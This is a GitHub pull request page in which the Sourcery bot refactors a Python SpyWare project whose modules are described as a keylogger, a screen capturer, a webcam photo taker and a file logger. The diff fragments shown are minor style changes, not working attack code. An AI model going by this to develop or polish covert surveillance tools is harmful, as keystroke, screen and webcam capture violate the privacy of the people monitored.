Skip to content

Sourcery refactored main branch#1

Open
sourcery-ai[bot] wants to merge 1 commit intomainfrom
sourcery/main
Open

Sourcery refactored main branch#1
sourcery-ai[bot] wants to merge 1 commit intomainfrom
sourcery/main

Conversation

@sourcery-ai
Copy link
Copy Markdown

@sourcery-ai sourcery-ai Bot commented Apr 24, 2023

Branch main refactored by Sourcery.

If you're happy with these changes, merge this Pull Request using the Squash and merge strategy.

See our documentation here.

Run Sourcery locally

Reduce the feedback loop during development by using the Sourcery editor plugin:

Review changes via command line

To manually merge these changes, make sure you're on the main branch, then run:

git fetch origin sourcery/main
git merge --ff-only FETCH_HEAD
git reset HEAD^

Help us improve this pull request!

@sourcery-ai sourcery-ai Bot requested a review from code4storm April 24, 2023 01:01
Comment thread SpyWare/SpyWare.py
EXITCODE = 0
namespace = globals().copy()
namespace.update(locals())
namespace = globals() | locals()
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function spy refactored with the following changes:

Comment thread SpyWare/SpyWare.py
Comment on lines -468 to +462
namespace = globals().copy()
namespace.update(locals())
namespace = globals() | locals()
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function remove_trace refactored with the following changes:

Comment thread SpyWare/SpyWare.py
Comment on lines -505 to +498
namespace = globals().copy()
namespace.update(locals())

namespace = globals() | locals()
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function archive refactored with the following changes:

Comment thread SpyWare/SpyWare.py
Comment on lines -557 to +551
if is_mode_donotrun:
if config is not None:
if config is not None:
if is_mode_donotrun:
del modules_copy[module]
else:
if config is not None:
else:
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function get_modules refactored with the following changes:

Comment thread SpyWare/SpyWare.py
Comment on lines -591 to +581
EXITCODE = spy(active_modules)

# tar = arguments.tar
# if arguments.remove:
# remove_trace(active_modules)
# elif tar is not None:
# archive(active_modules, tar)

return EXITCODE
return spy(active_modules)
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function main refactored with the following changes:

This removes the following comments ( why? ):

# tar = arguments.tar
# elif tar is not None:
#     remove_trace(active_modules)
#     archive(active_modules, tar)
# if arguments.remove:

@@ -32,6 +32,7 @@
>>> filesSpy(argv=["FilesLogger.py", "filesSpy.conf"]) # (using argv)
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 60-60 refactored with the following changes:


is_pressed = self.is_pressed
if is_pressed:
if is_pressed := self.is_pressed:
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function KeyLogger.get_event_release refactored with the following changes:

This removes the following comments ( why? ):

# code = self.get_code(event)

@@ -23,6 +23,7 @@
This file implements a keylogger.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 51-51 refactored with the following changes:

@@ -23,6 +23,7 @@
This file implements a SpyWare to capture the screen.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 51-51 refactored with the following changes:

@@ -23,6 +23,7 @@
This file implements a SpyWare to take picture with Webcam.
"""

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 51-51 refactored with the following changes:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants